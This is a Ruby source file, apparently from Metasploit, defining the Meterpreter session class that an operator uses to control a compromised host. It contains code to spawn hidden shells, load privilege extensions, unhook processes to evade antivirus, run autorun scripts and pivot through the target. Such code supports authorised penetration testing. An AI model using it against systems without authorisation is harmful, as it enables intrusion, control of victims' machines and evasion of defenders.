# -*- coding: binary -*- require 'rex/post/meterpreter/client' require 'rex/post/meterpreter/ui/console' module Msf module Sessions ### # # This class represents a session compatible interface to a meterpreter server # instance running on a remote machine. It provides the means of interacting # with the server instance both at an API level as well as at a console level. # ### class Meterpreter < Rex::Post::Meterpreter::Client include Msf::Session # # The meterpreter session is interactive # include Msf::Session::Interactive include Msf::Session::Comm # # This interface supports interacting with a single command shell. # include Msf::Session::Provider::SingleCommandShell include Msf::Sessions::Scriptable # Override for server implementations that can't do SSL def supports_ssl? true end # Override for server implementations that can't do zlib def supports_zlib? true end def tunnel_to_s if self.pivot_session "Pivot via [#{self.pivot_session.tunnel_to_s}]" else super end end # # Initializes a meterpreter session instance using the supplied rstream # that is to be used as the client's connection to the server. # def initialize(rstream, opts={}) super opts[:capabilities] = { :ssl => supports_ssl?, :zlib => supports_zlib? } # The caller didn't request to skip ssl, so make sure we support it if not opts[:skip_ssl] opts.merge!(:skip_ssl => (not supports_ssl?)) end # # Parse options passed in via the datastore # # Extract the HandlerSSLCert option if specified by the user if opts[:datastore] and opts[:datastore]['HandlerSSLCert'] opts[:ssl_cert] = opts[:datastore]['HandlerSSLCert'] end # Extract the MeterpreterDebugBuild option if specified by the user if opts[:datastore] opts[:debug_build] = opts[:datastore]['MeterpreterDebugBuild'] end # Don't pass the datastore into the init_meterpreter method opts.delete(:datastore) # Assume by default that 10 threads is a safe number for this session self.max_threads ||= 10 # # Initialize the meterpreter client # self.init_meterpreter(rstream, opts) # # Create the console instance # self.console = Rex::Post::Meterpreter::Ui::Console.new(self) end def exit begin self.core.shutdown rescue StandardError nil end self.shutdown_passive_dispatcher self.console.stop end # # Returns the session type as being 'meterpreter'. # def self.type "meterpreter" end # # Calls the class method # def type self.class.type end def self.can_cleanup_files true end ## # :category: Msf::Session::Provider::SingleCommandShell implementors # # Create a channelized shell process on the target # def shell_init return true if @shell # COMSPEC is special-cased on all meterpreters to return a viable # shell. sh = sys.config.getenv('COMSPEC') @shell = sys.process.execute(sh, nil, { "Hidden" => true, "Channelized" => true }) end def bootstrap(datastore = {}, handler = nil) session = self # Configure unicode encoding before loading stdapi session.encode_unicode = datastore['EnableUnicodeEncoding'] session.init_ui(self.user_input, self.user_output) initialize_tlv_logging(datastore['SessionTlvLogging']) unless datastore['SessionTlvLogging'].nil? verification_timeout = datastore['AutoVerifySessionTimeout']&.to_i || session.comm_timeout begin session.tlv_enc_key = session.core.negotiate_tlv_encryption(timeout: verification_timeout) rescue Rex::TimeoutError end if session.tlv_enc_key.nil? # Fail-closed if TLV encryption can't be negotiated (close the session as invalid) dlog("Session #{session.sid} failed to negotiate TLV encryption") print_error("Meterpreter session #{session.sid} is not valid and will be closed") # Terminate the session without cleanup if it did not validate session.skip_cleanup = true session.kill return nil end # always make sure that the new session has a new guid if it's not already known guid = session.session_guid if guid == "\x00" * 16 guid = [SecureRandom.uuid.gsub(/-/, '')].pack('H*') session.core.set_session_guid(guid) session.session_guid = guid # TODO: New stageless session, do some account in the DB so we can track it later. else # TODO: This session was either staged or previously known, and so we should do some accounting here! end session.commands.concat(session.core.get_loaded_extension_commands('core')) # Unhook the process prior to loading stdapi to reduce logging/inspection by any AV/PSP if datastore['AutoUnhookProcess'] == true console.run_single('load unhook') console.run_single('unhook_pe') end unless datastore['AutoLoadStdapi'] == false session.load_stdapi unless datastore['AutoSystemInfo'] == false session.load_session_info end # only load priv on native windows # TODO: abstract this too, to remove windows stuff if session.platform == 'windows' && [ARCH_X86, ARCH_X64].include?(session.arch) session.load_priv rescue nil end end # TODO: abstract this a little, perhaps a "post load" function that removes # platform-specific stuff? if session.platform == 'android' session.load_android end ['InitialAutoRunScript', 'AutoRunScript'].each do |key| unless datastore[key].nil? || datastore[key].empty? args = Shellwords.shellwords(datastore[key]) print_status("Session ID #{session.sid} (#{session.tunnel_to_s}) processing #{key} '#{datastore[key]}'") session.execute_script(args.shift, *args) end end end ## # :category: Msf::Session::Provider::SingleCommandShell implementors # # Read from the command shell. # def shell_read(length=nil, timeout=1) shell_init length = nil if length.nil? or length < 0 begin rv = nil # Meterpreter doesn't offer a way to timeout on the victim side, so # we have to do it here. I'm concerned that this will cause loss # of data. Timeout.timeout(timeout) { rv = @shell.channel.read(length) } framework.events.on_session_output(self, rv) if rv return rv rescue ::Timeout::Error return nil rescue ::Exception => e shell_close raise e end end ## # :category: Msf::Session::Provider::SingleCommandShell implementors # # Write to the command shell. # def shell_write(buf) shell_init begin framework.events.on_session_command(self, buf.strip) len = @shell.channel.write("#{buf}\n") rescue ::Exception => e shell_close raise e end len end ## # :category: Msf::Session::Provider::SingleCommandShell implementors # # Terminate the shell channel # def shell_close @shell.close @shell = nil end def shell_command(cmd, timeout = 5) # Send the shell channel's stdin. shell_write(cmd + "\n") etime = ::Time.now.to_f + timeout buff = "" # Keep reading data until no more data is available or the timeout is # reached. while (::Time.now.to_f < etime) res = shell_read(-1, timeout) break unless res timeout = etime - ::Time.now.to_f buff << res end buff end # # Called by PacketDispatcher to resolve error codes to names. # This is the default version (return the number itself) # def lookup_error(code) "#{code}" end ## # :category: Msf::Session overrides # # Cleans up the meterpreter client session. # def cleanup cleanup_meterpreter super end ## # :category: Msf::Session overrides # # Returns the session description. # def desc "Meterpreter" end ## # :category: Msf::Session::Scriptable implementors # # Runs the Meterpreter script or resource file. # def execute_file(full_path, args) # Infer a Meterpreter script by .rb extension if File.extname(full_path) == '.rb' Rex::Script::Meterpreter.new(self, full_path).run(args) else console.load_resource(full_path) end end ## # :category: Msf::Session::Interactive implementors # # Initializes the console's I/O handles. # def init_ui(input, output) self.user_input = input self.user_output = output console.init_ui(input, output) console.set_log_source(log_source) super end ## # :category: Msf::Session::Interactive implementors # # Resets the console's I/O handles. # def reset_ui console.unset_log_source console.reset_ui end # # Terminates the session # def kill(reason='') begin cleanup_meterpreter self.sock.close if self.sock rescue ::Exception end # deregister will actually trigger another cleanup framework.sessions.deregister(self, reason) end # # Run the supplied command as if it came from suer input. # def queue_cmd(cmd) console.queue_cmd(cmd) end ## # :category: Msf::Session::Interactive implementors # # Explicitly runs a command in the meterpreter console. # def run_cmd(cmd,output_object=nil) stored_output_state = nil # If the user supplied an Output IO object, then we tell # the console to use that, while saving it's previous output/ if output_object stored_output_state = console.output console.send(:output=, output_object) end success = console.run_single(cmd) # If we stored the previous output object of the channel # we restore it here to put everything back the way we found it # We re-use the conditional above, because we expect in many cases for # the stored state to actually be nil here. if output_object console.send(:output=,stored_output_state) end success end # # Load the stdapi extension. # def load_stdapi original = console.disable_output console.disable_output = true console.run_single('load stdapi') console.disable_output = original end # # Load the priv extension. # def load_priv original = console.disable_output console.disable_output = true console.run_single('load priv') console.disable_output = original end def update_session_info # sys.config.getuid, and fs.dir.getwd cache their results, so update them fs&.dir&.getwd username = self.sys.config.getuid sysinfo = self.sys.config.sysinfo # when updating session information, we need to make sure we update the platform # in the UUID to match what the target is actually running on, but only for a # subset of platforms. if ['java', 'python', 'php'].include?(self.platform) new_platform = guess_target_platform(sysinfo['OS']) if self.platform != new_platform self.payload_uuid.platform = new_platform self.core.set_uuid(self.payload_uuid) end end safe_info = "#{username} @ #{sysinfo['Computer']}" safe_info.force_encoding("ASCII-8BIT") if safe_info.respond_to?(:force_encoding) # Should probably be using Rex::Text.ascii_safe_hex but leave # this as is for now since "\xNN" is arguably uglier than "_" # showing up in various places in the UI. safe_info.gsub!(/[\x00-\x08\x0b\x0c\x0e-\x19\x7f-\xff]+/n,"_") self.info = safe_info end def guess_target_platform(os) case os when /windows/i Msf::Module::Platform::Windows.realname.downcase when /darwin/i Msf::Module::Platform::OSX.realname.downcase when /mac os ?x/i # this happens with java on OSX (for real!) Msf::Module::Platform::OSX.realname.downcase when /freebsd/i Msf::Module::Platform::FreeBSD.realname.downcase when /openbsd/i, /netbsd/i Msf::Module::Platform::BSD.realname.downcase else Msf::Module::Platform::Linux.realname.downcase end end # # Populate the session information. # # Also reports a session_fingerprint note for host os normalization. # def load_session_info begin ::Timeout.timeout(60) do update_session_info hobj = nil nhost = find_internet_connected_address original_session_host = self.session_host # If we found a better IP address for this session, change it # up. Only handle cases where the DB is not connected here if nhost && !(framework.db && framework.db.active) self.session_host = nhost end # The rest of this requires a database, so bail if it's not # there return if !(framework.db && framework.db.active) ::ApplicationRecord.connection_pool.with_connection { wspace = framework.db.find_workspace(workspace) # Account for finding ourselves on a different host if nhost and self.db_record # Create or switch to a new host in the database hobj = framework.db.report_host(:workspace => wspace, :host => nhost) if hobj self.session_host = nhost self.db_record.host_id = hobj[:id] end end sysinfo = sys.config.sysinfo host = Msf::Util::Host.normalize_host(self) framework.db.report_note({ :type => "host.os.session_fingerprint", :host => host, :workspace => wspace, :data => { :name => sysinfo["Computer"], :os => sysinfo["OS"], :arch => sysinfo["Architecture"], } }) if self.db_record framework.db.update_session(self) end # XXX: This is obsolete given the Mdm::Host.normalize_os() support for host.os.session_fingerprint # framework.db.update_host_via_sysinfo(:host => self, :workspace => wspace, :info => sysinfo) if nhost framework.db.report_note({ :type => "host.nat.server", :host => original_session_host, :workspace => wspace, :data => { :info => "This device is acting as a NAT gateway for #{nhost}", :client => nhost }, :update => :unique_data }) framework.db.report_host(:host => original_session_host, :purpose => 'firewall' ) framework.db.report_note({ :type => "host.nat.client", :host => nhost, :workspace => wspace, :data => { :info => "This device is traversing NAT gateway #{original_session_host}", :server => original_session_host }, :update => :unique_data }) framework.db.report_host(:host => nhost, :purpose => 'client' ) end } end rescue ::Interrupt dlog("Interrupt while loading sysinfo: #{e.class}: #{e}") raise $! rescue ::Exception => e # Log the error but otherwise ignore it so we don't kill the # session if reporting failed for some reason elog('Error loading sysinfo', error: e) dlog("Call stack:\n#{e.backtrace.join("\n")}") end end ## # :category: Msf::Session::Interactive implementors # # Interacts with the meterpreter client at a user interface level. # def _interact framework.events.on_session_interact(self) console.framework = framework if framework.datastore['MeterpreterPrompt'] console.update_prompt(framework.datastore['MeterpreterPrompt']) end # Call the console interaction subsystem of the meterpreter client and # pass it a block that returns whether or not we should still be # interacting. This will allow the shell to abort if interaction is # canceled. console.interact { self.interacting != true } console.framework = nil # If the stop flag has been set, then that means the user exited. Raise # the EOFError so we can drop this handle like a bad habit. raise EOFError if (console.stopped? == true) end ## # :category: Msf::Session::Comm implementors # # Creates a connection based on the supplied parameters and returns it to # the caller. The connection is created relative to the remote machine on # which the meterpreter server instance is running. # def create(param) sock = nil # Notify handlers before we create the socket notify_before_socket_create(self, param) sock = net.socket.create(param) # Notify now that we've created the socket notify_socket_created(self, sock, param) # Return the socket to the caller sock end def supports_udp? true end # # Get a string representation of the current session platform # def platform if self.payload_uuid # return the actual platform of the current session if it's there self.payload_uuid.platform else # otherwise just use the base for the session type tied to this handler. # If we don't do this, storage of sessions in the DB dies self.base_platform end end # # Get a string representation of the current session architecture # def arch if self.payload_uuid # return the actual arch of the current session if it's there self.payload_uuid.arch else # otherwise just use the base for the session type tied to this handler. # If we don't do this, storage of sessions in the DB dies self.base_arch end end # # Get a string representation of the architecture of the process in which the # current session is running. This defaults to the same value of arch but can # be overridden by specific meterpreter implementations to add support. # def native_arch arch end # # Generate a binary suffix based on arch # def binary_suffix # generate a file/binary suffix based on the current arch and platform. # Platform-agnostic archs go first case self.arch when 'java' ['jar'] when 'php' ['php'] when 'python' ['py'] else # otherwise we fall back to the platform case self.platform when 'windows' ["#{self.arch}.dll"] when 'linux' , 'aix' , 'hpux' , 'irix' , 'unix' ['bin', 'elf'] when 'osx' ['elf'] when 'android', 'java' ['jar'] when 'php' ['php'] when 'python' ['py'] else nil end end end # These are the base arch/platform for the original payload, required for when the # session is first created thanks to the fact that the DB session recording # happens before the session is even established. attr_accessor :base_arch attr_accessor :base_platform attr_accessor :console # :nodoc: attr_accessor :skip_ssl attr_accessor :skip_cleanup attr_accessor :target_id attr_accessor :max_threads protected attr_accessor :rstream # :nodoc: # Rummage through this host's routes and interfaces looking for an # address that it uses to talk to the internet. # # @see Rex::Post::Meterpreter::Extensions::Stdapi::Net::Config#get_interfaces # @see Rex::Post::Meterpreter::Extensions::Stdapi::Net::Config#get_routes # @return [String] The address from which this host reaches the # internet, as ASCII. e.g.: "192.168.100.156" # @return [nil] If there is an interface with an address that matches # {#session_host} def find_internet_connected_address ifaces = self.net.config.get_interfaces().flatten rescue [] routes = self.net.config.get_routes().flatten rescue [] # Try to match our visible IP to a real interface found = !!(ifaces.find { |i| i.addrs.find { |a| a == session_host } }) nhost = nil # If the host has no address that matches what we see, then one of # us is behind NAT so we have to look harder. if !found # Grab all routes to the internet default_routes = routes.select { |r| r.subnet == "0.0.0.0" || r.subnet == "::" } default_routes.each do |route| # Now try to find an interface whose network includes this # Route's gateway, which means it's the one the host uses to get # to the interweb. ifaces.each do |i| # Try all the addresses this interface has configured addr_and_mask = i.addrs.zip(i.netmasks).find do |addr, netmask| bits = Rex::Socket.net2bitmask( netmask ) range = Rex::Socket::RangeWalker.new("#{addr}/#{bits}") rescue nil !!(range && range.valid? && range.include?(route.gateway)) end if addr_and_mask nhost = addr_and_mask[0] break end end break if nhost end if !nhost # No internal address matches what we see externally and no # interface has a default route. Fall back to the first # non-loopback address non_loopback = ifaces.find { |i| i.ip != "127.0.0.1" && i.ip != "::1" } if non_loopback nhost = non_loopback.ip end end end nhost end end end end